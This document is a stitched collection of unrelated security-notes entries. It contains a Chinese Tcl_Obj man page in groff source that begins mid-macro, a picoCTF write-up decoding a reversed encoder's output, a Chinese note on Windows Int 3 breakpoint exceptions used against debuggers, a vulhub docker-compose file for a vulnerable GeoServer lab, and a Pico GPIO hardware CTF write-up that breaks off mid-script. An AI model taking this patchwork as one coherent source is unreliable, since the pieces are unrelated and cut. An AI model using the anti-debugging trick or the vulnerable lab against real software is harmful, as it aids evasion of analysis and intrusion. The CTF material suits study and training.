mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH Tcl_Obj 3tcl 8.0 Tcl "Tcl Library Procedures" .BS .SH NAME Tcl_NewObj, Tcl_DuplicateObj, Tcl_IncrRefCount, Tcl_DecrRefCount, Tcl_IsShared, Tcl_InvalidateStringRep \- 操纵 Tcl 对象 .SH 总览 SYNOPSIS .nf \fB#include <tcl.h>\fR .sp Tcl_Obj * \fBTcl_NewObj\fR() .sp Tcl_Obj * \fBTcl_DuplicateObj\fR(\fIobjPtr\fR) .sp \fBTcl_IncrRefCount\fR(\fIobjPtr\fR) .sp \fBTcl_DecrRefCount\fR(\fIobjPtr\fR) .sp int \fBTcl_IsShared\fR(\fIobjPtr\fR) .sp \fBTcl_InvalidateStringRep\fR(\fIobjPtr\fR) .SH 参数 ARGUMENTS .AS Tcl_Obj *objPtr in .AP Tcl_Obj *objPtr in 指向一个对象;必须是以前调用 \fBTcl_NewObj\fR 返回的结果。 .BE .SH 介绍 INTRODUCTION .PP 这个手册页提供了对 Tcl 对象以及如何使用它们的一个概述。它还描述了管理 Tcl 对象的一些一般过程。使用这些过程来建立和复制对象,和增加和减少到对象的引用(指针)计数。这些过程与那些在特定类型的对象如 \fBTcl_GetIntFromObj\fR 和 \fBTcl_ListObjAppendElement\fR 上进行操作的过程联合使用。单独的过程和它们所操纵的数据结构被放在一起描述。 .PP Tcl 的双端口(\fIdual-ported\fR)对象为存储和交换 Tcl 值提供了一个通用的机制。它们在很大程度上替代了 Tcl 中字符串的使用。例如,它们被用来存储变量值、命令参数、命令结果、和脚本。Tcl 对象外在表现很象字符串,但它还持有可以被更加有效的操纵的内部表示。例如,现在一个 Tcl 列表被表示为持有列表的字符串表示的一个对象,如同到每个列表元素的指针的一个数组。双端口对象避免了运行时的类型转换。它们还提高了许多操作的速度,原因是可以立即获得一个适当的表示。编译器自身使用 Tcl 对象来缓存(cache)作为编译脚本的结果的字节码指令。 .PP 这两种表示互为缓存并且被以懒惰方式计算。就是说,每个表示都只在需要时才被计算,它被从另一种表示计算出来,而一旦被计算出来了,它就被保存起来。除此之外,其中一个表示的改变将使另一个表示成为无效 。举个例子,一个做整数运算的 Tcl 程序可以在一个变量的内部机器整数表示上进行直接操作,而不需要经常性的在整数和字符串之间进行转换。只有在需要这个变量的值的一个字符串表示的时候,比如打印它,程序才重新生成这个整数的字符串表示。尽管对象包含一个内部表示,但它们的语义仍是依据字符串定义的: 总是可以获取最新的字符串,在取回对象的字符串表示的时候,对对象的任何改变都将反映到取回的那个字符串上。因为这个表示是无效的并被重新生成了,扩展作者直接访问 \fBTcl_Obj\fR 的字段是很危险的。最好使用 \fBTcl_GetStringFromObj\fR 和 \fBTcl_GetString\fR 这样的过程来访问 \fBTcl_Obj\fR 信息。 .PP 在堆上分配对象,使用到它们的 \fBTcl_Obj\fR 结构的指针引用对象。对象要尽可能的共享。这将显著的缩减存储需求,原因是一些对象比如长列表是非常大的。还有,多数 Tcl 值只是被读而从不被修改。尤其是过程参数,它们可以在调用和被调用的过程之间共享。赋值和参数绑定是通过简单的赋予到这个值的一个指针完成的。使用引用计数来确定什么时候归还一个对象的存储是安全的。 .PP Tcl 对象是有类型的(typed)。一个对象的内部表示由它自己的类型来控制。在 Tcl 核心中预定义了七种类型,其中包括:整数、双精度浮点数、列表、和字节码。扩展作者可是使用 \fBTcl_RegisterObjType\fR 过程来扩展类型的集合。 .SH "对象结构 THE TCL_OBJ STRUCTURE" .PP 每个 Tcl 对象都被表示为一个 \fBTcl_Obj\fR 结构,其定义如下。 .CS typedef struct Tcl_Obj { int \fIrefCount\fR; char *\fIbytes\fR; int \fIlength\fR; Tcl_ObjType *\fItypePtr\fR; union { long \fIlongValue\fR; double \fIdoubleValue\fR; VOID *\fIotherValuePtr\fR; struct { VOID *\fIptr1\fR; VOID *\fIptr2\fR; } \fItwoPtrValue\fR; } \fIinternalRep\fR; } Tcl_Obj; .CE \fIbytes\fR 和 \fIlength\fR 成员一起持有一个对象的字符串表示,这是一个已计数的 (\fIcounted\fR) 字符串或二进制串 (\fIbinary string\fR),二进制串可能包含有嵌入的 null 字节的二进制串。\fIbytes\fR 指向这个字符串表示的第一个字节。\fIlength\fR 成员给出字节数。字节数组的在偏移量 \fIlength\fR 上,也就是最后一个字节后面必须总是有一个 null;这允许不包含 null 的字符串表示被作为一个常规的用 null 终结的 C 语言字符串来对待。 C 程序使用 \fBTcl_GetStringFromObj\fR 和 \fBTcl_GetString\fR 来得到一个对象的字符串表示。如果 \fIbytes\fR 是 NULL,则字符串表示无效。 .PP 一个对象的类型管理它的内部表示。成员 \fItypePtr\fR 指向描述类型的 Tcl_ObjType 结构。如果 \fItypePtr\fR is 是 NULL,则内部表示无效。 .PP \fIinternalRep\fR 联合成员持有一个对象的内部表示。它可以是一个(长)整数,一个双精度浮点数,或者一个指针、它指向包含这个类型的对象要表示对象所需要的补充信息的值,或者是两个任意的指针。 .PP 使用 \fIrefCount\fR 成员来通告在什么时候释放一个对象的存储是安全的。它持有到这个对象的活跃引用的计数。维护正确的引用计数是扩展作者的一个关键性的责任。在下面的对象的存储管理 (\fBSTORAGE MANAGEMENT OF OBJECTS\fR) 章节中讨论了引用计数。 .PP 尽管扩展的作者可以直接访问一个 Tcl_Obj 结构的成员,但最好还是使用恰当的过程和宏。例如,扩展作者永远不要直接读或修改 \fIrefCount\fR;作为替代,他们应当使用象 \fBTcl_IncrRefCount\fR 和 \fBTcl_IsShared\fR 这样的宏。 .PP Tcl 对象的一个关键属性是它持有两个表示。典型的,一个对象开始时只包含一个字符串表示: 它是无类型的并且\fItypePtr\fR 是一个 NULL。分别使用 \fBTcl_NewObj\fR 或 \fBTcl_NewStringObj\fR 建立包含一个空串的一个对象或一个指定字符串的一个复件。一个对象的字符串值可以使用 \fBTcl_GetStringFromObj\fR 或 \fBTcl_GetString\fR 来获取并使用 \fBTcl_SetStringObj\fR 来改变它。如果如果这个对象以后被传递给象 \fBTcl_GetIntFromObj\fR 这样的要求一个特定的内部表示的过程,则这个过程将建立一个内部表示并设置这个对象的 \fItypePtr\fR。从字符串表示来计算它的内部表示。一个对象的两个表示是双重的: 对一个的改变也将反映到另一个上。例如,\fBTcl_ListObjReplace\fR 将修改一个对象的内部表示,下一个到 \fBTcl_GetStringFromObj\fR 或 \fBTcl_GetString\fR 的调用将反映这个改变。 .PP 出于效率的原因以懒惰方式重计算表示。一个过程如 \fBTcl_ListObjReplace\fR 对一个表示的改变不立即反映到另一个表示上。作为替代,把另一个表示标记为无效,如果以后需要的话再重新生成。多数 C 程序员永远无须关心这是如何完成的,他们只是简单的使用象 \fBTcl_GetBooleanFromObj\fR 或 \fBTcl_ListObjIndex\fR 这样的过程。而实现自己的对象类型的程序员必须检查无效表示和在需要时标记一个表示为无效。使用过程 \fBTcl_InvalidateStringRep\fR 来标记一个对象的字符串表示为无效并释放与这个字符串表示相关联的存储。 .PP 对象在它的一生当中通常保持一种类型,但是有时一个对象必须从一种类型转换成另一种类型。例如,一个 C 程序可以通过重复调用 \fBTcl_AppendToObj\fR 来在一个对象中建造一个字符串,并接着调用 \fBTcl_ListObjIndex\fR 来从一个对象中提取一个列表元素。持有相同字符串的同样的对象在不同的时候可能有多种不同的内部表示。扩展作者可以使用 \fBTcl_ConvertToType\fR 过程强制把一个对象从一种类型转换成另一种类型。只有建立新对象类型的程序员才需要关心这是如何作的。作为对象类型实现的一部分,需要定义为一个对象建立一个新的内部表示和改变它 \fItypePtr\fR 的一个过程。如何建立一个新对象类型请参见 \fBTcl_RegisterObjType\fR 手册页。 .SH "对象生命周期示例 EXAMPLE OF THE LIFETIME OF AN OBJECT" .PP 作为一个对象生命周期的一个例子,考虑下列命令序列: .CS \fBset x 123\fR .CE 这里把一个未知类型的对象赋值给 \fIx\fR,这个对象的 \fIbytes\fR 成员指向 \fB123\fR 而 \fIlength\fR 成员包含 3。对象的 \fItypePtr\fR 成员是 NULL。 .CS \fBputs "x is $x"\fR .CE \fIx\fR 的字符表示是有效的(因为 \fIbytes\fR 是非 NULL)并被这个命令取回。 .CS \fBincr x\fR .CE \fBincr\fR 命令首先通过调用 \fBTcl_GetIntFromObj\fR 从 x (所引用的)的对象的得到一个整数。这个过程检查这个对象是否已经是一个整数对象。由于它不是,就通过把这个对象的 \fIinternalRep.longValue\fR 成员设置为整数 \fB123\fR,并把这个对象的 \fItypePtr\fR 设置为指向整数的 Tcl_ObjType 结构,此过程把这个对象转换成了整数对象。两个表示现在都是有效的。\fBincr\fR 增加这个对象的整数内部表示,接着使它的字符串表示无效(通过调用 \fBTcl_InvalidateStringRep\fR),原因是这个字符串表示不再与内部表示相对应了。 .CS \fBputs "x is now $x"\fR .CE 现在需要 \fIx\fR (所引用的)的对象的字符串表示,要重新计算它。字符串表示现在是 \fB124\fR。两个表示又都是有效的了。 .SH "对象的存储管理 STORAGE MANAGEMENT OF OBJECTS" .PP Tcl 对象在堆上分配,并且要尽可能的共享对象来缩减存储需求。使用引用计数来确定何时一个对象不再被需要并可以被安全的释放。刚用 \fBTcl_NewObj\fR 或 \fBTcl_NewStringObj\fR 建立的对象的 \fIrefCount\fR 是 0。当建立到这个对象的一个新引用时,使用宏 \fBTcl_IncrRefCount\fR 增加引用计数。当不再需要一个引用的时候 ,使用 \fBTcl_DecrRefCount\fR 减少引用计数,而且如果这个对象的引用计数下降到零,就释放它的存储。被不同的代码或数据结构共享的一个对象的 \fIrefCount\fR 大于 1。增加一个对象的引用计数来确保它不会被过早释放或者它的值被意外的改变。 .PP 举个例子,字节码解释器在调用者和被调用的过程之间共享参数对象,以避免复制对象。它把调用者的实际参数的对象赋值给过程的形式参数变量。此时,它调用 \fBTcl_IncrRefCount\fR 来增加每个实际参数(所引用的)的对象的引用计数,原因是有了从形式参数到这个对象的一个新引用。在被调用的过程返回的时候,解释器调用 \fBTcl_DecrRefCount\fR 来减少每个参数的引用计数。当一个对象的引用下降到小于等于零的时候, \fBTcl_DecrRefCount\fR 归还它的存储。多数命令过程不是必须关心引用计数的,原因是它们立即使用一个对象的值并且在它们返回之后不保留到这个对象的指针。但是,如果它们把到一个对象的指针保留到一个数据结构中,则他们必须注意要增加它的引用计数,原因是这个保留的指针是一个新引用。 .PP 象 \fBlappend\fR 和 \fBlinsert\fR 这样的直接修改对象的命令过程必须注意要在修改一个共享的对象之前复制它。 他们必须首先调用 \fBTcl_IsShared\fR 来检查这个对象是否是共享的。如果对象是共享的,则他们必须使用 \fBTcl_DuplicateObj\fR 复制这个对象;它返回原始对象的一个新复制品,其 \fIrefCount\fR 是 0。如果对象未被共享,则命令过程“拥有”这个对象并可以安全的直接修改它。例如,下列代码出现在实现 \fBlinsert\fR 的命令过程当中。通过在 \fIindex\fR 的前面插入 \fIobjc-3\fR 新元素,这个过程修改在 \fIobjv[1]\fR 中传递给它的列表对象 。 .CS listPtr = objv[1]; if (Tcl_IsShared(listPtr)) { listPtr = Tcl_DuplicateObj(listPtr); } result = Tcl_ListObjReplace(interp, listPtr, index, 0, (objc-3), &(objv[3])); .CE 另一个例子,\fBincr\fR 的命令过程在增加变量(所引用的)对象内部表示中的整数之前,必须检查这个变量(所引用的)对象是否是共享的。如果它是共享的,则需要复制这个对象,目的是避免意外的改变在其他数据结构中值。 .SH "参见 SEE ALSO" Tcl_ConvertToType, Tcl_GetIntFromObj, Tcl_ListObjAppendElement, Tcl_ListObjIndex, Tcl_ListObjReplace, Tcl_RegisterObjType .SH 关键字 KEYWORDS internal representation, object, object creation, object type, reference counting, string representation, type conversion .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/30 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# investigation_encoded_2 Forensics, 500 points ## Description: > We have recovered a binary and 1 file: image01. See what you can make of it. > NOTE: The flag is not in the normal picoCTF{XXX} format. ## Solution: This is the follow-up challenge for [investigation_encoded_1](investigation_encoded_1.md). The challenges are very similar and therefore we'll only be listing the differences. We start by running the new binary: ```console root@kali:/media/sf_CTFs/pico/investigation_encoded_2# ./mystery Error: file ./flag.txt not found root@kali:/media/sf_CTFs/pico/investigation_encoded_2# echo abcde>flag.txt root@kali:/media/sf_CTFs/pico/investigation_encoded_2# ./mystery Segmentation fault ``` Let's just open it with Ghidra. The main function is: ```c undefined8 main(void) { long lVar1; size_t sVar2; undefined4 local_18; int local_14; FILE *local_10; badChars = '\0'; local_10 = fopen("flag.txt","r"); if (local_10 == (FILE *)0x0) { fwrite("Error: file ./flag.txt not found\n",1,0x21,stderr); /* WARNING: Subroutine does not return */ exit(1); } flag_size = 0; fseek(local_10,0,2); lVar1 = ftell(local_10); flag_size = (int)lVar1; fseek(local_10,0,0); login(); if (0xfffe < flag_size) { fwrite("Error, file bigger than 65535\n",1,0x1e,stderr); /* WARNING: Subroutine does not return */ exit(1); } flag = malloc((long)flag_size); sVar2 = fread(flag,1,(long)flag_size,local_10); local_14 = (int)sVar2; if (local_14 < 1) { /* WARNING: Subroutine does not return */ exit(0); } local_18 = 0; flag_index = &local_18; output = fopen("output","w"); buffChar = 0; remain = 7; fclose(local_10); encode(); fclose(output); if (badChars == '\x01') { fwrite("Invalid Characters in flag.txt\n./output is corrupted\n",1,0x35,stderr); } else { fwrite("I\'m Done, check file ./output\n",1,0x1e,stderr); } return 0; } ``` We proceed to `encode()`: ```c void encode(void) { byte bVar1; ulong uVar2; int iVar3; int local_10; char current_char; while (*flag_index < flag_size) { uVar2 = lower(*(byte *)(*flag_index + flag)); current_char = (char)uVar2; if (current_char == ' ') { current_char = -0x7b; } else { if (('/' < current_char) && (current_char < ':')) { current_char = current_char + 'K'; } } current_char = current_char + -0x61; if ((current_char < '\0') || ('$' < current_char)) { badChars = 1; } if (current_char != '$') { iVar3 = ((int)current_char + 0x12) % 0x24; bVar1 = (byte)(iVar3 >> 0x1f); current_char = ((byte)iVar3 ^ bVar1) - bVar1; } local_10 = *(int *)(indexTable + (long)(int)current_char * 4); iVar3 = *(int *)(indexTable + (long)((int)current_char + 1) * 4); while (local_10 < iVar3) { uVar2 = getValue(local_10); save((byte)uVar2); local_10 = local_10 + 1; } *flag_index = *flag_index + 1; } while (remain != 7) { save(0); } return; } ``` And to complete the picture, `getValue` and `save`: ```c ulong getValue(int param_1) { byte bVar1; int iVar2; iVar2 = param_1; if (param_1 < 0) { iVar2 = param_1 + 7; } bVar1 = (byte)(param_1 >> 0x37); return (ulong)((int)(uint)(byte)secret[iVar2 >> 3] >> (7 - (((char)param_1 + (bVar1 >> 5) & 7) - (bVar1 >> 5)) & 0x1f) & 1); } void save(byte param_1) { buffChar = buffChar | param_1; if (remain == 0) { remain = 7; fputc((int)(char)buffChar,output); buffChar = '\0'; } else { buffChar = buffChar * '\x02'; remain = remain + -1; } return; } ``` Since this is the exact same idea as before, we'll only point out the minor deltas: * The `matrix` array was replaced with `indexTable` * The program accepts an additional set of valid characters, and performs some kind of manipulation on them before using them as array indices. * If we consider all characters which don't cause `badChars` to be set, we get lowercase and uppercase letters, digits, space and '`{`', '`|`', '`}`', '`~`'. However, the last four characters get the exact same encoding as the digits `0`, `1`, `2`, `3` and therefore should be considered invalid. Like last time, we create our `dict.c` program based on the Ghidra decompilation, with the buffers extracted using `radare2`: ```c #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <assert.h> // Definitions from Ghidra typedef unsigned char byte; typedef unsigned int uint; typedef unsigned long ulong; //[0x00000ae0]> bf obj.secret //[0x00000ae0]> pc @ obj.secret const uint8_t secret[] = { 0x8b, 0xaa, 0x2e, 0xee, 0xe8, 0xbb, 0xae, 0x8e, 0xbb, 0xae, 0x3a, 0xee, 0x8e, 0xee, 0xa8, 0xee, 0xae, 0xe3, 0xaa, 0xe3, 0xae, 0xbb, 0x8b, 0xae, 0xb8, 0xea, 0xae, 0x2e, 0xba, 0x2e, 0xae, 0x8a, 0xee, 0xa3, 0xab, 0xa3, 0xbb, 0xbb, 0x8b, 0xbb, 0xb8, 0xae, 0xee, 0x2a, 0xee, 0x2e, 0x2a, 0xb8, 0xaa, 0x8e, 0xaa, 0x3b, 0xaa, 0x3b, 0xba, 0x8e, 0xa8, 0xeb, 0xa3, 0xa8, 0xaa, 0x28, 0xbb, 0xb8, 0xae, 0x2a, 0xe2, 0xee, 0x3a, 0xb8, 0x00 }; //[0x00000ae0]> bf obj.indexTable //[0x00000ae0]> pc @ obj.indexTable const uint8_t indexTable[] = { 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0xb4, 0x00, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0xda, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x0e, 0x01, 0x00, 0x00, 0x1e, 0x01, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, 0x5a, 0x01, 0x00, 0x00, 0x6a, 0x01, 0x00, 0x00, 0x72, 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x9a, 0x01, 0x00, 0x00, 0xaa, 0x01, 0x00, 0x00, 0xbc, 0x01, 0x00, 0x00, 0xc8, 0x01, 0x00, 0x00, 0xd6, 0x01, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00, 0xea, 0x01, 0x00, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x0a, 0x02, 0x00, 0x00, 0x16, 0x02, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x30, 0x02, 0x00, 0x00, 0x34, 0x02, 0x00, 0x00 }; ulong getValue(int param_1) { byte bVar1; int iVar2; iVar2 = param_1; if (param_1 < 0) { iVar2 = param_1 + 7; } bVar1 = (byte)(param_1 >> 0x37); return (ulong)((int)(uint)(byte)secret[iVar2 >> 3] >> (7 - (((char)param_1 + (bVar1 >> 5) & 7) - (bVar1 >> 5)) & 0x1f) & 1); } void encode(char c) { byte bVar1; ulong uVar2; int iVar3; int local_10; char current_char = c; if (current_char == ' ') { current_char = -0x7b; } else { if (('/' < current_char) && (current_char < ':')) { current_char = current_char + 'K'; } } current_char = current_char + -0x61; if ((current_char < '\0') || ('$' < current_char)) { return; } printf("%c: ", c); if (current_char != '$') { iVar3 = ((int)current_char + 0x12) % 0x24; bVar1 = (byte)(iVar3 >> 0x1f); current_char = ((byte)iVar3 ^ bVar1) - bVar1; } local_10 = *(int *)(indexTable + (long)(int)current_char * 4); iVar3 = *(int *)(indexTable + (long)((int)current_char + 1) * 4); while (local_10 < iVar3) { uVar2 = getValue(local_10); printf("%d", uVar2); local_10 = local_10 + 1; } printf("\n"); return; } int main(int argc, char* argv[]) { char c; for (c = 'a'; c <= 'z'; c++) { encode(c); } for (c = '0'; c <= '9'; c++) { encode(c); } encode(' '); return 0; } ``` Output: ``` root@kali:/media/sf_CTFs/pico/investigation_encoded_2# cc dict.c -o dict && ./dict dict.c: In function ‘getValue’: dict.c:51:28: warning: right shift count >= width of type [-Wshift-count-overflow] bVar1 = (byte)(param_1 >> 0x37); ^~ a: 101011101110111000 b: 1010101110111000 c: 10111000 d: 10101010111000 e: 101010101000 f: 11101010101000 g: 1110111010101000 h: 111011101110101000 i: 111010101000 j: 11101011101000 k: 1110101000 l: 1010101000 m: 101000 n: 1011101110111000 o: 1010111000 p: 101010111000 q: 101110111000 r: 11101010111000 s: 1000 t: 10111010101000 u: 1011101110111011101000 v: 10111011101011101000 w: 1110101110111010111000 x: 111010111011101000 y: 11101110111010101000 z: 1110111010101110111000 0: 1110101010111000 1: 1110101110101110111000 2: 10111010111010111000 3: 111010101010111000 4: 1011101011101000 5: 101110101011101000 6: 101011101110101000 7: 1110101011101000 8: 1110111011101110111000 9: 10111011101110111000 : 0000 ``` The Python script to decode the message is also similar to last time: ```python from pwn import * p = process("./dict") dict_output = p.recvall().rstrip() encoding_dict = {} for line in dict_output.split("\n"): line = line.rstrip() char, encoding = line.split(": ") encoding_dict[encoding] = char with open("output", "rb") as f: data = f.read() bin_data = bits_str(data) log.info("Binary data:\n{}".format(bin_data)) res = "" while bin_data: for k in encoding_dict: if bin_data.startswith(k): res += encoding_dict[k] bin_data = bin_data[len(k):] break else: if (bin_data.rstrip("0") != ""): log.error("Can't find decoded value for {}".format(bin_data)) raise Exception() break log.success("Output: {}".format(res)) ``` Output: ```console root@kali:/media/sf_CTFs/pico/investigation_encoded_2# python decode.py [+] Starting local process './dict': pid 2992 [+] Receiving all data: Done (712B) [*] Process './dict' stopped with exit code 0 (pid 2992) [*] Binary data: 101110101010001110101110101110111000101000111010101010111000111010101010001110101110101110111000111010101000111010101010111000101110101011101000111010101011100011101010101110001110101010111000111010101011100011101010101110001110101010111000111010101011100011101010101110001110101010111000111010101011100011101010101110001011101011101000101110101110100011101010101000101110111011101110001110101010111000111010101110100010111010111010111000111010101110100000 [+] Output: t1m3f1i350000000000044f90727 ``` The flag: `picoCTF{t1m3f1i350000000000044f90727}`
sec-knowleage
# Interrupt 3 无论何时触发了一个软件中断异常, 异常地址以及EIP寄存器的值都会同时指向产生异常的下一句指令. 但断点异常是其中的一个特例. 当`EXCEPTION_BREAKPOINT(0x80000003)`异常触发时, Windows会认定这是由单字节的"`CC`"操作码(也即`Int 3`指令)造成的. Windows递减异常地址以指向所认定的"`CC`"操作码, 随后传递该异常给异常处理句柄. 但是EIP寄存器的值并不会发生变化. 因此, 如果使用了 `CD 03`(这是 `Int 03` 的机器码表示),那么当异常处理句柄接受控制时, 异常地址是指向 `03` 的位置.
sec-knowleage
version: '3' services: web: image: vulhub/geoserver:2.22.1 depends_on: - postgres ports: - "8080:8080" volumes: - ./startup.sh:/startup.sh command: bash /startup.sh postgres: image: postgis/postgis:14-3.3-alpine environment: - POSTGRES_PASSWORD=vulhub - POSTGRES_DB=geoserver
sec-knowleage
# Secret Location - Base Category: HW ## Description > "Welcome back AGENT. It seems like you've got a marvelous lead that perhaps gives a clue about where you should head to next. Visit the lab, and talk to that Dr. Klostermann, or is it Cloysterman?, he will know how to decrypt the device.. you would think". ... Dr Klostermann: "Welcome to the technical department AGENT, I’m Dr. Klostermann, and this is my assistant, Konstantin. Let’s not waste any time, is that the device that you’re holding in your hand? Konstantin, start the basic procedure." > > Challenge: Electronics Research Lab (hw) > > Welcome back AGENT. It seems like you got a lead that perhaps gives a clue about where the next journey on your quest goes. Visit the lab, and talk to Dr. Klostermann, he will know how to decrypt the device Note: If you solved the challenge before but could not submit the flag, please try again, we had the wrong flag in our database. A C file (and a `pico.uf2` file) were attached. <details> <summary>Click to expand</summary> ```c #include <stdbool.h> #include "hardware/gpio.h" #include "hardware/structs/sio.h" #include "pico/stdlib.h" int main(void) { for (int i = 0; i < 8; i++) { gpio_init(i); gpio_set_dir(i, GPIO_OUT); } gpio_put_all(0); for (;;) { gpio_set_mask(67); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(20); gpio_clr_mask(3); sleep_us(100); gpio_set_mask(2); gpio_clr_mask(16); sleep_us(100); gpio_set_mask(57); gpio_clr_mask(4); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(25); sleep_us(100); gpio_set_mask(5); gpio_clr_mask(2); sleep_us(100); gpio_set_mask(18); gpio_clr_mask(65); sleep_us(100); gpio_set_mask(1); gpio_clr_mask(2); sleep_us(100); gpio_set_mask(64); gpio_clr_mask(17); sleep_us(100); gpio_set_mask(2); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(1); gpio_clr_mask(6); sleep_us(100); gpio_set_mask(18); gpio_clr_mask(65); sleep_us(100); gpio_set_mask(1); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(4); gpio_clr_mask(2); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(64); gpio_clr_mask(16); sleep_us(100); gpio_set_mask(16); gpio_clr_mask(64); sleep_us(100); gpio_set_mask(2); gpio_clr_mask(4); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(3); sleep_us(100); gpio_set_mask(9); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(1); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(8); sleep_us(100); gpio_set_mask(8); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(65); gpio_clr_mask(24); sleep_us(100); gpio_set_mask(22); gpio_clr_mask(64); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(5); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(2); sleep_us(100); gpio_set_mask(65); gpio_clr_mask(16); sleep_us(100); gpio_set_mask(22); gpio_clr_mask(65); sleep_us(100); gpio_set_mask(1); gpio_clr_mask(6); sleep_us(100); gpio_set_mask(4); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(66); gpio_clr_mask(21); sleep_us(100); gpio_set_mask(1); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(0); gpio_clr_mask(2); sleep_us(100); gpio_set_mask(24); gpio_clr_mask(65); sleep_us(100); gpio_set_mask(67); gpio_clr_mask(24); sleep_us(100); gpio_set_mask(24); gpio_clr_mask(67); sleep_us(100); gpio_set_mask(2); gpio_clr_mask(8); sleep_us(100); gpio_set_mask(65); gpio_clr_mask(18); sleep_us(100); gpio_set_mask(16); gpio_clr_mask(64); sleep_us(100); gpio_set_mask(2); gpio_clr_mask(0); sleep_us(100); gpio_set_mask(68); gpio_clr_mask(19); sleep_us(100); gpio_set_mask(19); gpio_clr_mask(64); sleep_us(100); gpio_set_mask(72); gpio_clr_mask(2); sleep_us(100); gpio_set_mask(2); gpio_clr_mask(117); sleep_us(100); gpio_put_all(0); sleep_ms(500); } return 0; } ``` </details> ## Solution The attached code is for a [Raspberry Pi Pico](https://www.raspberrypi.org/products/raspberry-pi-pico/). It calls a series of `gpio_set_mask` and `gpio_clr_mask` functions with various values. Let's check the [documentation](https://raspberrypi.github.io/pico-sdk-doxygen/group__hardware__gpio.html) for these functions: > `gpio_set_mask`: Drive high every GPIO appearing in mask. > > `gpio_clr_mask`: Drive low every GPIO appearing in mask. So, we can "hook" and simulate these functions using Python: ```python val = 0 def gpio_set_mask(mask): global val val |= mask def gpio_clr_mask(mask): global val val &= ~mask def sleep_us(msec): print(chr(val), end='') gpio_set_mask(67) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(20) gpio_clr_mask(3) sleep_us(100) gpio_set_mask(2) gpio_clr_mask(16) sleep_us(100) gpio_set_mask(57) gpio_clr_mask(4) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(25) sleep_us(100) gpio_set_mask(5) gpio_clr_mask(2) sleep_us(100) gpio_set_mask(18) gpio_clr_mask(65) sleep_us(100) gpio_set_mask(1) gpio_clr_mask(2) sleep_us(100) gpio_set_mask(64) gpio_clr_mask(17) sleep_us(100) gpio_set_mask(2) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(1) gpio_clr_mask(6) sleep_us(100) gpio_set_mask(18) gpio_clr_mask(65) sleep_us(100) gpio_set_mask(1) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(4) gpio_clr_mask(2) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(64) gpio_clr_mask(16) sleep_us(100) gpio_set_mask(16) gpio_clr_mask(64) sleep_us(100) gpio_set_mask(2) gpio_clr_mask(4) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(3) sleep_us(100) gpio_set_mask(9) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(1) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(8) sleep_us(100) gpio_set_mask(8) gpio_clr_mask(0) sleep_us(100) gpio_set_mask(65) gpio_clr_mask(24) sleep_us(100) gpio_set_mask(22) gpio_clr_mask(64) sleep_us(100) gpio_set_mask(0) gpio_clr_mask(0) sleep_us(100) 